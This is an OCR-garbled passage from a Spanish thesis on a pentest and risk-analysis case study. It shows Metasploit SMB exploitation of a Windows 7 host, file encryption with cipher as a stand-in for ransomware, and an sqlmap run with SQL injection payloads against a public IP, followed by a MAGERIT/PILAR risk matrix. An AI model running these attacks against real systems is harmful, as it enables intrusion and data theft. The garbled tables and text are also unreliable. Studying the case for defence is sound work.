CHECK_DOPU true no Check for DOUBLEPULS, on uln ble hosts

CHECK_PIPE alse no Check for named pipe on vulnerable hosts

NAMED_PIPES /usr/share/metasploit-fram yes List of named pipes to check

work/data/wordlists/named
_pipes.txt

RHOSTS 192. .1.112 The target host(s), range CIDR identifier, o
r hosts file with syntax ‘file:<path>’

RPORT 445 The SMB service port (TCP)

SMBDomain . The Windows domain to for authentication

SMBPass The password for th if username

SMBUser The username to authenticate as

THREADS The number of concurrent threads (max one pe
r host)

> auxiliary( > set rhost 192.168.1.115
rhost = 192.168
auxiliary( ) > run

192,168.1.115: - Scanned 1 of hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary( )

B 000 DRUC®Er®

Fuente 16 el autor

Al presentarse en la maquina victima la vulnerabilidad, es posible obtener el acceso de

forma remota tal como se evidencia a continuacion:

Figura 17 Acceso remoto a la maquina victima

RiemP 3

File Actions

192.168.
sfully (0xC000000D)!

0x00000000 > 64 7 0 37 48 6f 6d 65
0x00000010 61 73 69 63 20 37 36 30 3 7600

arch selected val arch indicated by DC

y (0xC000000D)!
ted connection.

pted buffer.

2021-09-01 05

Gl & #) Left 3

Fuente 17 El autor
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Una vez obtenido el acceso se procede a realizar el cifrado de los archivos por medio del

comando cipher /e como se aprecia en la figura 18.

Figura 18 Cifrado de los archivos

icrosoft Windows [Uersion 6.1.76011]
opyright {(c> 2089 Microsoft Corporation. All rights reserved.

:\Users\yenni>cipher /e

Encrypting files in C:\Users\yenni\

pplication Data [ERR]
pplication Data: Access is denied.
[OK]

[ERR]
: Access is denied.
[OK]
[OK]
[OK]
[OK]
[OK]
Local Settings [ERR]
Local Settings: Access is denied.
i [ERR]

: The process cannot access the file because it is bheing used by another p»

s [ERR]

y Documents: Access denied.

Fuente 18 El autor

Igualmente es posible realizar el descifrado de los archivos por medio del comando cipher /d
como se evidencia a continuacion.

Figura 19 Descifrado de archivos

? file(s> [or directoried(s?] within 1 directoried(s) were encrypted.

C:\Users \yenni>cipher -d
Decrypting files in C:\Users:yenni\

Contacts [OK]
sktop [OK]
[OK]

[OK]

[OK]

[OK]

[OK]

[OK]

9 file<s?> [or directorieds?] within 1 directories? were decrypted.

C:\Users\yenni>ipconfig

Windows IP Configuration

Fuente 19 El autor
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- Inyeccion de cédigo SQL

Para la realizacion de las pruebas de inyeccion de codigo SQL se tiene como base
la siguiente base de datos que se encuentra en la ruta
(http://104.236.31.57/Test_SQLInj/index.php), la cual pertenece a la empresa
NOSTRADAMUS S.A.S y fue victima de un ataque de inyeccion de cédigo SQL, por

su configuracion insegura lo que permitioé al ciberdelincuente obtener acceso a las

tablas de la base de datos robando informacién confidencial de la empresa.

Figura 20 Aplicativo Web vulnerable

Gestion de Estudiantes - Mozilla Firefox

Gestion de Estudiantes x +
€« c @ D 104.236.31.57 . @
£ Most Visited @ Offensive Security @ Kali Linux @ KaliDocs @ Kali Tools @ Exploit-DB W Aircrack-ng @ Kali Forums @ NetHunter @ Kali Training @ Getting Started

GESTION DE ESTUDIANTES

ID Registro

Identificacion

Nombre

Primer
Apellido
Segundo
Apellido
Programa
Academico

E-mail

Fuente 20 El autor

n @O

Para la realizacion de este escenario se hara uso de la herramienta de SQLMap °’ que

permite realizar la prueba de penetracion para detectar y ejecutar codigos de SQL

inyeccion, para identificar informacion como el motor de base de datos, usuarios y

contrasenas.

57 Creadpag [En Ilinea] mayo 2018] [Fecha de Consulta: agosto 2021] Disponible en

https://www.creadpag.com/2018/05/inyeccion-sql-en-kali-linux-usando.html
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Figura 21 SglMap — Kali Linux

root@kali: ~ e o 0

File Edit View Search Terminal Help
# sqlmap

(:]
83 .
w il ‘
V... 1 http://sqlmap.org

Usage: python sqlmap [options)

sqlmap: error: missing a mandatory option (-d, -u, -1, -m, -r, -g, -C, -X, Lis
t-tampers, --wizard, update, purge or --dependencies). Use -h for basic and
hh for advanced help

# sqlmap -u http://1064.236.31.57/Test SQLInj/index.php?id registro=21
batchlj

Fuente 21 El autor

En la siguiente figura se puede identificar que la aplicacion esta conformada por una base
de datos MYSQL 5.0.12 sobre un servidor de aplicaciones apache y lenguaje de

programacion PHP 5.6.36

Figura 22 informacion motor base de datos
root@kali: ~ e e 0

File Edit View Search Terminal Help

Payload: id registro=(SELECT (CASE WHEN (1340=1340) THEN 156 ELSE (SELECT 40
80 UNION SELECT 1183) END))

Type: time-based blind
Title: MySQL >= 5.6.12 AND time-based blind
Payload: id registro=156 AND SLEEP(5)

Type: UNION query

Title: Generic UNION query (NULL) 7 columns

Payload: id registro=156 UNION ALL SELECT @NULL, NULL,CONCAT(0x7176706a71,0x76
694951424b75447873697378517543636b4a536342797042507651504957777652674356457977 ,0
x7176627671) ,NULL ,NULL NULL,NULL-- PLLL

[ ] [INFO] the back-end DBMS is MySQL

| ] | ] fetching banner

web application technology: Apache, PHP 5.6.36

back-end DBMS: MySQL >= 5.0.12

banner: '5.1.73'

| ] | ] fetched data logged to text files under

> 3

Fuente 22 El autor
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A continuacién, se puede visualizar el listado de las bases de datos creadas en la
aplicacion web de la empresa NOSTRADAMUS S.A.S

Figura 23 Lista de bases de Datos
root@kali: ~

File Edit View Search Terminal Help
] resumed: 'proyectosapplus2’
] resumed: 'proyectosapplus3’
] resumed: 'test’

[ ] resumed: 'wp wplms'

ilable databases [12]:

estudiantes

financiero

glpi

information schema

mysql

nomina

openproject

proyectosapplus

proyectosapplus2

proyectosapplus3

test

wp wplms

]
]
]
]

(
[
[
[
a
(
(
|
[
|
[
[
[
[
|
[
[

| ] | ] fetched data logged to text files under '/root/.sqlmap/output/
104.236.31.57"

Fuente 23 El autor

. Andlisis de resultados: En esta fase de establecen los falsos positivos,
amenazas u observaciones de la empresa.

Una vez finalizada la realizacion de todos los escenarios de los cuales fue victima la
empresa NOSTRADAMUS S.A.S se puede identificar que las siguientes brechas de
seguridad:
Actualizaciones

- Falta de actualizacion en los navegadores WEB

- Falta de actualizacion en los sistemas operativos
Configuraciones

- Baja configuracion de las reglas de firewall

- Uso inadecuado de los antivirus
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- Malas configuracién en las bases de datos

Desarrollo de aplicaciones

- No se hace uso de buenas practicas de desarrollo seguro

- Falta de pruebas de seguridad en aplicaciones Web

7.2 DESARROLLO OBJETIVO ESPECIFICO 2
7.2.1 Matriz de riesgos
Para el caso de estudio de la empresa NOSTRADAMUS S.A.S se hace uso de la

metodologia MAGERIT que permite conocer el estado en que se encuentran los sistemas

de la organizacion en cuanto a su integridad, disponibilidad, integridad y trazabilidad, con

el uso de las guias de esta metodologia se pretende establecer los lineamientos de

seguridad y reducir en gran medida las vulnerabilidades.

En el caso planteado y de forma de ejemplo se determinan los siguientes activos de

informacion.

Tabla 1 Definicién de los activos

ACTIVO DESCRIPCION UBICACION CANTIDAD
SERVIDOR WEB Y | Equipo de computo que permite Oficina principal 2
BASE DE DATOS: el alojamiento de la aplicacion

web y sus respectivas bases de

datos
SERVIDOR DE | Equipo de computo donde se Oficina principal 1
ARCHIVOS: tiene alojado la administracion de

los archivos con lo proyecto de

educacién y capacitacion de las

plataformas de aprendizaje como

lo
PAGINA WEB La pagina web institucional Empresa 1

donde se tiene publicados todos Godaddy
los servicios de la empresa,

contactos y proyectos de
educacion, se cuenta con
alojamiento con el proveedor
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SERVIDOR
APLICACIONES

DE

SISTEMA
OPERATIVO
WINDOWS

SERVIDOR DHCP

EQUIPOS
COMPUTO
SISTEMA
OPERATIVO
WINDOWS 7
FIREWALL

DE

PUNTOS
ACCESO
ALAMBRICOS
(HUB)
SWITCHES CISCO
CATALYST 2960

DE

TECNICOS
MANTENIMIENTO

DE

PUNTOS DE
ACCESO
CABLEADO
BACKUP DE LA
INFORMACION
SERVICIO DE
CONEXION DE
INTERNET

Fuente 24 El autor

La infraestructura del servidor es
Apache, PHP, MySQL.

Tiene como funcion la
administracion de la intranet y
demas aplicaciones internas de
la organizacion

Su funcién es administrar el
direccionamiento de la red de
forma dinamica dentro de la
empresa

Equipos de computo

Sistema de proteccion, que
protege la red ante intrusiones de
lared

Dispositivos de red encargados
de la interconexiéon de la red de
datos

Dispositivos de red encargados
de la interconexién de la red de
datos

Personal técnico encargado de
realizar el mantenimiento
preventivo a los equipos de
computo

Puntos de acceso al servicio de
internet la organizacion

Red cableada para la conexién
de los equipos

generacion de copias de
respaldo de la informacion
relevante

Conectividad a internet
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Oficina principal

Oficina principal

Oficinas internas

Sistema de
seguridad que
protege la red
ante intrusiones
de lared

Red de datos del

centro

Red de datos del
Centro

Departamento de

Sistemas

Oficina de
informatica
Oficina de
informatica

—
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Identificacién de las amenazas

Valoracion de las Amenazas

Con el fin de identificar los riesgos mas relevantes se evaluan las siguientes
vulnerabilidades las cuales pueden materializarse como amenazas definiendo su impacto
y probabilidad para cada activo y se tiene en cuenta la siguiente informacién de valor y

probabilidad de ocurrencia.

Tabla 2 Degradacién de valor

DEGRADACION DE VALOR

T TOTAL
MA MUY ALTA

A ALTA

M MEDIA

B BAJA
MB MUY BAJA

Fuente 25 Herramienta PILAR 7.2.3

Tabla 3 Probabilidad de Ocurrencia

PROBABILIDAD DE

OCURRENCIA
CS CAS| SEGURO
MA MUY ALTO
P POSIBLE
PP | POCO PROBABLE
MB SIGLOS
MR MUY RARA

Fuente 26 Realizado con la herramienta PILAR 7.2.3
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Tabla 4 tipos de amenaza

de acceso

Activos Amenazas D] { 1] | [C] | [A]
[E,15] Alteracion de Ia M B M A T
Informacioén
[E,18] Destruccion de la M _ B _ _
Informacioén
informacion | M B |-|-]~-
[files] ficheros de datos A5]  Suplantacid r
, uplantacion e B
identidad A M A T
[A,6] Abuso de privilegios A B M A _
de acceso
[A11] Acceso nolval - I ml al -
autorizado
[E,15] Alteraciéon de Ila M B B B B
Informacioén
[E,18] Destruccién de la M B _ _ _
Informacioén
[E,19] Fugas de Ml -] = ml -
[backup] copias de Informacion
respaldo [A5] Suplantacion del » | _ | v | A | T
identidad
[A,6] Abuso de privilegios A B M A .
de acceso
[A,11] Acceso no
autorizado MAL = | M AL -
[E,15] Alteraciéon de Ila M _ B . .
Informacién
[E,18] Destruccion de la
g M B -- -- --
Informacién
[int] datos de gestion [ [E,19] Fugas de M B B M B
interna Informacién
[A,5] Suplantacion de _
identidad A Mo AL T
[A,6] Abuso de privilegios A B M A .
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[A,11] Acceso no

autorizado MAT - | M A -
[E,15] Alteraciéon de |la M _ B _ _
Informacién
[E,18] Destruccion de la Mmlel - | - | -
Informacioén
[E,19] Fugas de
. Informacion L L
[password] credenciales —
[A,5] Suplantacién de A _ M A T
identidad
[A,6] Abuso de privilegios A B M A _
de acceso
[A,11] Acceso no B B
autorizado MA M A
[E,3] Errores de M . B _ _
Monitorizacion (log)
[E,15] Alteraciéon de Ila M _ B _ _
Informacién
[E,18] Destruccién de la M B _ _ _
Informacioén
[log] registro de [A,3] Manipulaciénde los | \on | | A | | _
actividad registros de actividad (log)
[A,5] Suplantaciéon de _
identidad A M A T
[A,6] Abuso de privilegios A B M A _
de acceso
[A,11] Acceso nolval — I ml Al —
autorizado
[E,15] Alteraciéon de Ila M . B . .
Informacién
[E,18] Destruccién de la M B _ . .
Informacioén
[multimedia] multimedia |[E;191 ~~ Fugas el vl - -lml -
Informacién
[A,5] Suplantacion de
identidad Al M ALT
[A,6] Abuso de privilegios A B M A _

de acceso
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[A,11] Acceso no

. MA [ -- M A --
autorizado
[E,15] Alteracion de |la M _ B _ _
Informacioén
[E,18] Destruccion de la
- M B -- -- --
Informacién
E,19 Fugas de
< dio f Enforn]mcién ] M- ]— | M|~
[source]codigo fuente [A,5] Suplantacién de
h . A -- M A T
identidad
[A,6] Abuso de privilegios A B M A _
de acceso
[A.11] Acceso lval - I m!l Al —
autorizado
[E,15] Alteraciébn de Ila M _ B _ _
Informacioén
[E,18] Destruccién de la M B _ _ _
Informacioén
E,19 Fugas de
. . {nforrllaci()n k Ml = ]— | M-
[exe] cddigo ejecutable —
[A,5] Suplantacion de A _ M A T
identidad
[A,6] Abuso de privilegios A B M A _
de acceso
[A,11] Acceso no MA | - M A B
autorizado
[E,1] Errores de los
usuarios Mo MMM -
[E,2] Errores del
administrador del sistema /| M M M M --
de la seguridad
[E,15] Alteracion de la M _ B _ _
[www] world wide web Informacion
[E,18] Destruccion de la
g M M -- -- --
Informacioén
[E,19]  Fugas el vl | - ml -
Informacién
[E,24] Caida del sistema
por agotamiento del A A -- -- --

recursos
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[A,5] Suplantacién de

identidad A AT
[A,6] Abuso de privilegios B T
de acceso
[A,7] Uso no previsto B
[A,11] Acceso no
autorizado - | M A
[A,13] Repudio (negacion . _ _ _
de actuaciones)
[A,15] Modificacion de la _ A _ _
Informacién
[A,18] Destruccion de A _ _ _
Informacién
[A,24] Denegacion de A _ _ _
servicio
[E,1] Errores de los
usuarios Mo M M-
[E,2] Errores del
administrador del sistema / M M M --
de la seguridad
[E,15] Alteracion de |la _ B _ _
Informacién
[E,18] Destruccién de la M _ _ _
Informacioén
[E,19] Fugas de N
_ Informacion T T -
[en|1a|![] correo [E,24] Caida del sistema
electronico por agotamiento de A -- -- --
recursos
[A,5] Suplantacién de _
identidad A A T
[A,6] Abuso de privilegios B M M T
de acceso
[A,7] Uso no previsto B M M T
[A,11] Acceso no
autorizado M AT

[A,13] Repudio (negacion
de actuaciones)

63




[A,15] Modificacion de la

Informacion AT
[A,18] Destruccion de P P
Informacioén
[A,24] Denegacion de A _ _ _
servicio
[E,1] Errores de los _
usuarios M M M
[E,2] Errores del
administrador del sistema / M M M --
de la seguridad
[E,15] Alteracion de |la _ B _ _
Informacién
[E,18] Destruccion de la M _ _ _
Informacién
[E,19] Fugas de _ _ M _
Informacioén
[E,24] Caida del sistema
por agotamiento de A -- -- --
recursos
[file] almacenamiento |[[A,5] Suplantaciéon de B A A T
de ficheros identidad
[A,6] Abuso de privilegios
B T
de acceso
[A,7] Uso no previsto B
[A11] Acceso no
autorizado - | MA
[A,13] Repudio (negacion _ _ _ _
de actuaciones)
[A,15] Modificacién de la . A _ _
Informacioén
[A,18] Destruccion de A _ _ _
Informacién
[A,24] Denegacion de A _ _ _
servicio
[1,8] Fallo de servicios de T . . .
[ISP] proveedor de | comunicaciones
acceso aintenet  |[E 15] Alteracién de la I EYE

informacion
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[E,18] Destruccion de la

informacioén L e
[E,19] Fugas de _ _ M _
Informacioén
[A,5] Suplantacion de _
identidad T 7T
[A,13] Repudio (negacion _ _ _ _
de actuaciones)
[A,15] Modificacién de la _ A _ _
Informacioén
[A,18] Destruccion de A _ _ B
Informacién
[A,19] Revelacion de B B A B
informacion
[A,24] Denegacion de A B B B
servicio
[1,9] Interrupcion de otros
servicios 0 suministros A -- -- --
esenciales
[E,15] Alteraciébn de Ila _ M _ B
informacion
[E,18] Destruccion de la M B B B
informacion
[E,19] Fugas de B B M B
Informacion
[A,5] Suplantacion de T T T

[www] alojamiento | identidad B

servidor web [A,13] Repudio (negacion b
de actuaciones)
[A,15] Modificaciéon de la _ A B B
Informacioén
[A,18] Destruccion de A _ _ B
Informacién
[A,19] Revelacion de B B A B
informacion
[A,24] Denegacion de A _ _ B

servicio
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[1,9] Interrupcion de otros

servicios 0 suministros| M A -- -- --
esenciales
[E,15] Alteracion de Ila M _ M _ _
informacion
[E,18] Destruccion de la| | v | - | - | —
informacioén
[E,19] Fugas de
Informacion A e B B
[A,5] Suplantacion de
[hosting]llalojfclmiento de| identidad B - T T T
aplicaciones [A,13] Repudio (negacion M _ _ _ _
de actuaciones)
[A,15] Modificacion de la M . A _ _
Informacion
[A,18] Destruccion de M A _ _ _
Informacioén
[A,19] Revelaciéon de M _ _ A _
informacion
[A,24] Denegaciéon de M A _ _ _
servicio
[1,5] Averia de origen fisico
o logico o I e e s
[E,8] Difusion de software
dafiino Mo Mg MG MY -
[E,20] Vulnerabilidades de
los programas (Software) M B MM -
[prp] desarrollo propio [E.21] . Errores de
mantenimiento / A B B _ _
actualizacion de programas
(software)
[A,8] Difusion de software
dafino MA T T T~
[A,22] Manipulacion de M A T T .
programas
[1,5] Averia de origen fisico M A B B B
[browser] navegador |o légico
web [E,8] Difusion de software M M M M B

danino
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[E,20] Vulnerabilidades de
los programas (Software)

[E,21] Errores de
mantenimiento /
actualizacion de programas
(software)

[A,8] Difusién de software
danino

[A,22] Manipulaciéon de
programas

[os] sistemas
operativos

[1,5] Averia de origen fisico
o légico

[E,8] Difusion de software
dafino

[E,20] Vulnerabilidades de
los programas (Software)

S22 LZ

[E,21] Errores de
mantenimiento /
actualizacion de programas
(software)

>

[A,8] Difusién de software
dafino

[A,22] Manipulacion de
programas

[av] antivirus

[1,5] Averia de origen fisico
o légico

[E,8] Difusién de software
dafino

[E,20] Vulnerabilidades de
los programas (Software)

(=222 L5

[E,21] Errores de
mantenimiento /
actualizacion de programas
(software)

>

[A,8] Difusion de software
danino

[A,22] Manipulacion de
programas

[app] servidor de
aplicaciones

[1,5] Averia de origen fisico
o légico

[E,8] Difusion de software
danino

(=22 Z
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[E,20] Vulnerabilidades de

los programas (Software) M B M| My -~
[E,21] Errores de
mantenimiento /
actualizacién de programas A B B - -
(software)
[A,8] Difusion de software
dafiino M T T T -
[A,22] Manipulacién de
programas Ml ALTT T -
[N,1] Fuego B T - - -
[N,2] Dainos por agua B A -- -- --
[N, *] Desastres naturales B T -- -- --
[1,1] Fuego M T -- -- --
[1,2] Dafios por agua M A - - -
[I, *] Desastres industriales | M T -- -- --
[1,3] Contaminacion B A
medioambiental B
[1,4] Contaminacion M M
electromagnética B
[1,5] Averia de origen fisico
o légico MITAL -1 - |-
[1,6] Corte del suministro M T
eléctrico I -
) [1,7] Condiciones
[host] grandes equipos |jnadecuadas de| M | T | - | -] -
temperatura o humedad
[1,11] Emanaciones M B
electromagnéticas I -
[E,23] Errores de
mantenimiento /
o : M M - - -
actualizacion de equipos
(hardware)
[E,24] Caida del sistema
por agotamiento de| A A -- -- --
recursos
[E,25] Pérdida de equipos B T -- T --
[A,7] Uso no previsto M B B M --
[A,11] Acceso no autorizado| M M M A --
[A,23] Manipulacion del M A B A B

hardware
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[A,24] Denegacion del
servicio

[A,25] Robo de equipos

[A,26] Ataque destructivo

[pc] Informatica
personal

[N,1] Fuego

[N,2] Dafos por agua

[N, *] Desastres naturales

[1,1] Fuego

[1,2] Dafnos por agua

[I, ¥] Desastres industriales

I Z|mw|m|Z|w] =

(>[4 -

[1,3] Contaminacion
medioambiental

vy}

>

[1,4] Contaminacion
electromagnética

[1,5] Averia de origen fisico
o légico

[1,6] Corte del suministro
eléctrico

[1,7] Condiciones
inadecuadas de
temperatura o humedad

[1,11] Emanaciones
electromagnéticas

[E,23] Errores de
mantenimiento /
actualizacion de equipos
(hardware)

[E,24] Caida del sistema
por agotamiento de
recursos

>

>

[E,25] Pérdida de equipos

[A,7] Uso no previsto

[A,11] Acceso no autorizado

[A,23] Manipulacion del
hardware

> |10

[A,24] Denegacion del
servicio

—

[A,25] Robo de equipos

—

[A,26] Ataque destructivo

(o =2 2 ZIS|®
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[modem] modem

[N,1] Fuego

[N,2] Dainos por agua

[N, *] Desastres naturales

[1,1] Fuego

[1,2] Danos por agua

[I, *] Desastres industriales

[1,3] Contaminacion
medioambiental

o ZZ(ZE|W|w|m

[1,4] Contaminacion
electromagnética

[1,5] Averia de origen fisico
o légico

> | 2| > | Hz|HH|>d

[1,6] Corte del suministro
eléctrico

= B

—

[1,7] Condiciones
inadecuadas de
temperatura o humedad

[1,11] Emanaciones
electromagnéticas

[E,23] Errores de
mantenimiento /

actualizacion de equipos
(hardware)

[E,24] Caida del sistema
por agotamiento de
recursos

>

>

[E,25] Pérdida de equipos

[A,7] Uso no previsto

[A,11] Acceso no autorizado

[A,23] Manipulacion del
hardware

> |IZ|w|H

> (2]

[A,24] Denegacion del
servicio

[A,25] Robo de equipos

[A,26] Ataque destructivo

[firewall] cortafuegos

[N,1] Fuego

[N,2] Dafos por agua

[N, *] Desastres naturales

[1,1] Fuego

S|lo|m|m|IZ|m] = Z IZIZ|w

—d|> ||| 4
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[1,2] Dafos por agua M A -] - -

[I, *] Desastres industriales | M T -- — -

[1,3] Contaminacion B A N N __

medioambiental

[1,4] Contaminacion M M 3 B __

electromagnética

[I,5,] Averla de origen fisico M A B N 3

o légico

[1,6] Corte del suministro M T 3 N N

eléctrico

[1,7] Condiciones

inadecuadas de| M T - - -

temperatura o humedad

[1,11] Emanaciones M B B B 3

electromagnéticas

[E,23] Errores de

mantenimiento / M M

actualizaciéon de equipos B

(hardware)

[E,24] Caida del sistema

por agotamiento del A A -- -- --

recursos

[E,25] Pérdida de equipos B T -- T -

[A,7] Uso no previsto M B B M --

[A,11] Acceso no autorizado| M M M A --

[A,23] Manipulacion del

hardware M A - A .

[A,24.1]. Denegacion  del M T N N N

Servicio

[A,25] Robo de equipos B T -- T -

[A,26] Ataque destructivo M T -- - --

[N,1] Fuego B T - - -

[N,2] Dafios por agua B A | - -- -

[N, *] Desastres naturales B T - -- -
[hub] concentrador | L1:11 Fuego M| T[] -1]-1-=-

[,2] Dafos por agua M| A | - | - --

[I, *] Desastres industriales | M T -- -- --

[1,3] Contaminacion B Al - __ __

medioambiental
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[1,4] Contaminacion

electromagnética S TR e e s
[1,5] Averia de origen fisico _ _ _
o légico M A
[1,6] Corte del suministro M T _ _ _
eléctrico
[1,7] Condiciones
inadecuadas de| M T -- -- --
temperatura o humedad
[1,11] Emanaciones M _ _ B _
electromagnéticas
[E,23] Errores de
mantenimiento / M M _ _ _
actualizacion de equipos
(hardware)
[E,24] Caida del sistema
por agotamiento del A A -- -- --
recursos
[E,25] Pérdida de equipos B T - T -
[A,7] Uso no previsto M B B M --
[A,11] Acceso no autorizado| M M M A --
[A,23] Manipulacion del
hardware M AL -1 A -
[A,24.1]. Denegacion  del M T B B B
servicio
[A,25] Robo de equipos B T -- T --
[A,26] Ataque destructivo M T - -- -
[N,1] Fuego B T -- -- --
[N,2] Danos por agua B A -- -- --
[N, *] Desastres naturales B T -- -- --
[1,1] Fuego M T - - -
[1,2] Danos por agua M A -- -- --
[wap] punto de acceso [I, *] Desastres industriales | M T -- -- --
Wireless [1,3] Contaminacion B A B B B
medioambiental
[1,4] Contaminacion
o M M - - -
electromagnética
[1,5] Averia de origen fisico M A B B B
o logico
[1,6] Corte del suministro M T B B B

eléctrico
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[1,7] Condiciones

inadecuadas de| M T -- -- --
temperatura o humedad

[1,11] Emanaciones M _ _ B _
electromagnéticas

[E,23] Errores de

mantenimiento / M M _ _ _
actualizacion de equipos

(hardware)

[E,24] Caida del sistema

por agotamiento del A A -- -- --
recursos

[E,25] Pérdida de equipos B T -- T --
[A,7] Uso no previsto M B B M --
[A,11] Acceso no autorizado| M M M A --
[A,23] Manipulacion del

hardware M AL -1 A -
[A,24]. Denegacion  del M T B B B
servicio

[A,25] Robo de equipos B T -- T --
[A,26] Ataque destructivo M T -- -- --
[1,8] Fallo de servicios de M A B B B
comunicaciones

[E,2] Errores del

administrador del sistema /| M M M M --
de la seguridad

[E,9] Errores de [re- M _ _ M _
Jencaminamiento

[E,10] Errores de secuencia| M -- M -- --
[E,15] Alteracion de M B
informacion B |
[E,19] Fugas de informacion| M -- -- M --
[E,24] Caida del sistema

por agotamiento de|l M A -- - -
recursos

[A,5] Suplantacion de

identidad M| - M AT
[A,7] Uso no previsto M M M M --
[A,9] [Re-]encaminamiento M B B M B

de mensajes
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[A,10] Alteracion de

[X25] red de datos . M --

secuencia
[A,11] Acceso no autorizado| M | -- A T
[A,12] Analisis de trafico M -- -- B --
[A,14] Interceptacion de M _ _ M _
informacion (escucha)
[A,15] Modificacidon de la M _ M _ _
informacion
[A,18] Destrucciéon de la M A _ _ _
informacion
[A,24]. Denegacion  de A A _ _ _
servicio
[1,8] Fa_IIo c!e servicios de M A B B B
comunicaciones
[E,2] Errores del
administrador del sistema /| M M M M --
de la seguridad
[E,9] _Errores de [re- M _ _ M _
Jencaminamiento
[E,10] Errores de secuencia| M -- M -- --
[E,15] Alteracién de M _ B _ _
informacion
[E,19] Fugas de informaciéon| M -- -- M --
[E,24] Caida del sistema
por agotamiento del M A -- -- --
recursos

wifil Wifi [A,5] Suplantacion de

it identidad Mo - | M AT
[A,7] Uso no previsto M M M M --
[A,9] [Re-]Jencaminamiento M B B M B
de mensajes
[A,10] _ Alteracion de M B M
secuencia
[A,11] Acceso no autorizado| M -- M A T
[A,12] Analisis de trafico M -- -- B --
[A,14] Interceptacion de M _ _ M _
informacion (escucha)
[A,15] Modificacién de la M M
informacion B T
[A,18] Destruccion de la M A B B B

informacion
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[A,24] Denegacion de

. A A - - -
servicio
[1,8] Fa'IIo dg servicios de M A _ _ _
comunicaciones
[E,2] Errores del
administrador del sistema /| M M M M --
de la seguridad
[E,9] Errores de [re- M _ _ M _
Jencaminamiento
[E,10] Errores de secuencia| M -- M -- --
[E,15] Alteracion de M B B B B
informacion
[E,19] Fugas de informacién| M -- -- M --
[E,24] Caida del sistema
por agotamiento del M A -- -- --
recursos
[A,5] Suplantacion  de
[LAN] red local identidad M MiALT
[A,7] Uso no previsto M M M M --
[A,9] [Re-]Jencaminamiento M B B M B
de mensajes
[A,10] _ Alteracién de M B M
secuencia
[A,11] Acceso no autorizado| M -- M A T
[A,12] Analisis de trafico M -- -- B --
[A,14] Interceptacion de M B B M B
informacion (escucha)
[A,15] Modificacion de la M M
informacion B T
[A,18] Destruccion de la M A _ . .
informacion
[A,24_1]. Denegaciéon  de A A _ _ _
servicio
[N,1] Fuego PP | T -- -- --
[1,2] Danos por agua P A -- -- --
Discos Extraibles  |[1:3] ~ Contaminacion| o | o | _ | _ | _
medioambiental
[1,5] Averia de origen fisico p A _ _ _

o légico
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[1,7] Condiciones
inadecuadas de
temperatura o humedad

[A,23] Manipulacion del
hardware

[A,25] Robo de equipos

[A,26] Ataque destructivo

Informacion Impresa

[N,1] Fuego

[1,2] Dafnos por agua

[1,3] Contaminacion
medioambiental

> |1 >|HIZZ] >

[1,7] Condiciones
inadecuadas de
temperatura o humedad

[E,15] Alteracion de Ia
informacion

[E,18] Destruccion de la
informacion

[E,19] Fugas de informacién

[A,11] Acceso no autorizado

[A,15] Modificacion de la
informacion

MA

[A,18] Destruccion de la
informacion

[A,25] Robo de equipos

[A,26] Ataque destructivo

[wire] cable eléctrico

[N,1] Fuego

[N,2] Danos por agua

[N, *] Desastres naturales

[1,1] Fuego

[1,2] Danos por agua

[I, *] Desastres industriales

[1,3] Contaminacion
medioambiental

w [ZZ2(ZE|w|w|w|(T|(T| ©

> (>4 >|4]|=Z(=]|

[1,4] Contaminacion
electromagnética

<

[1,11] Emanaciones
electromagnéticas

= =
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[E,23] Errores de
mantenimiento /
actualizacion de equipos

<

[A,7] Uso no previsto

[A,11] Acceso no autorizado

[A,23] Manipulacion del
hardware

[A,25] Robo de equipos

[A,26] Ataque destructivo

[UE] usuarios externos

[E,15] Alteracion de Ia
informacion

[E,18] Destruccion de la
informacion

[E,19] Fugas de informacién

[A,15] Modificacion  de
informacion

[A,19] Revelacion de
informacion

=l B < B B ) ) Bl )

[A,28] Indisponibilidad del
personal

[A,29] Extorsidn

[A,30] Ingenieria social
(picaresca)

[ui] usuarios internos

[E,15] Alteracion de Ia
informacion

[E,18] Destruccion de la
informacion

[E,19] Fugas de informacién

[A,15] Modificacidon  de
informacion

[A,19] Revelacién de
informacion

= B = =G -G =G =< I v

[A,28] Indisponibilidad del
personal

[A,29] Extorsion

[A,30] Ingenieria social
(picaresca)

[E,15] Alteracion de Ia
informacion

[E,18] Destrucciéon de la
informacion

= = = = v
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<
<

[op] operadores [E,19] Fugas de informacion

[E,28] Indisponibilidad del
personal

[A,15] Modificacidon  de
informacion

[A,19] Revelacion de
informacion

[A,28] Indisponibilidad del
personal

[A,29] Extorsidn

[A,30] Ingenieria social
(picaresca)

[E,15] Alteracion de Ia
informacion

[E,18] Destruccion de la
informacion

[E,19] Fugas de informacién
[E,28] Indisponibilidad del
personal

[adm] administradores|[A,15] Modificacion de
de sistemas informacion

[A,19] Revelacion de
informacion

[A,28] Indisponibilidad del
personal

[A,29] Extorsién

[A,30] Ingenieria social
(picaresca)

= B =
>

S22 |22
vy

vy}

<

g - = I

Fuente 27 realizado con la herramienta PILAR 7.2.3

Teniendo en cuenta lo anterior se identifican como vulnerabilidades las siguientes:

e El cableado fisico de las redes se encuentra sin un 6ptimo mantenimiento y
auditoria.

e En la configuracién del firewall no se cuenta con la experiencia de configuracion

adecuada.
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e Los servidores no estan alojados en un lugar optimo que cumpla con las
condiciones de climatizacidn necesaria

e No se realizan las respectivas actualizaciones de software

e Los usuarios no estan debidamente protegidos y es posible la suplantacién al no
tener los debidos perfilamientos

e No se cuenta con las respectivas validaciones de generacion de contrasefa
seguras en los usuarios de las aplicaciones

e Se permite de las sesiones abiertas donde es de facil acceso capturar las
contrasenas y usuarios

e Deficiencia en los mantenimientos de la estructura de red

¢ Al no contar con sistemas biométrico de seguridad no se tiene control en la zona
de sistemas

e Las redes eléctricas pueden fallar y no se cuenta con sistemas de respaldo

e Se cuenta con antivirus actualizado, pero no se realizan seguimiento de control de
actualizaciones o estados

e El firewall no tiene correctamente configuradas las reglas para la denegaciéon de
conexion o trasmision de los datos

Caracterizaciéon de las Salvaguardas
Estos mecanismos o procedimientos permiten que se reduzcan los riesgos ante las
amenazas identificadas, comuna correcta organizacion y otros elementos técnicos, como

seguridad fisica, programas o equipos es posible mitigar este tipo de riesgos.

Identificaciéon de salvaguardas

Se identificaran las salvaguardas mas convenientes que permitiran proteger el sistema 'y
para ellos se contara con la ayuda de la herramienta PILAR 7.2.3, la cual permitira elegir

las salvaguardas mas adecuados para contrarrestar las amenazas encontradas.
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Figura 24 Identificacion de las salvaguardas

™ [0001] analisis de riesgos > das > Eficacia de las = X

Editar Expandir Ver Exportar Importar Estadisticas

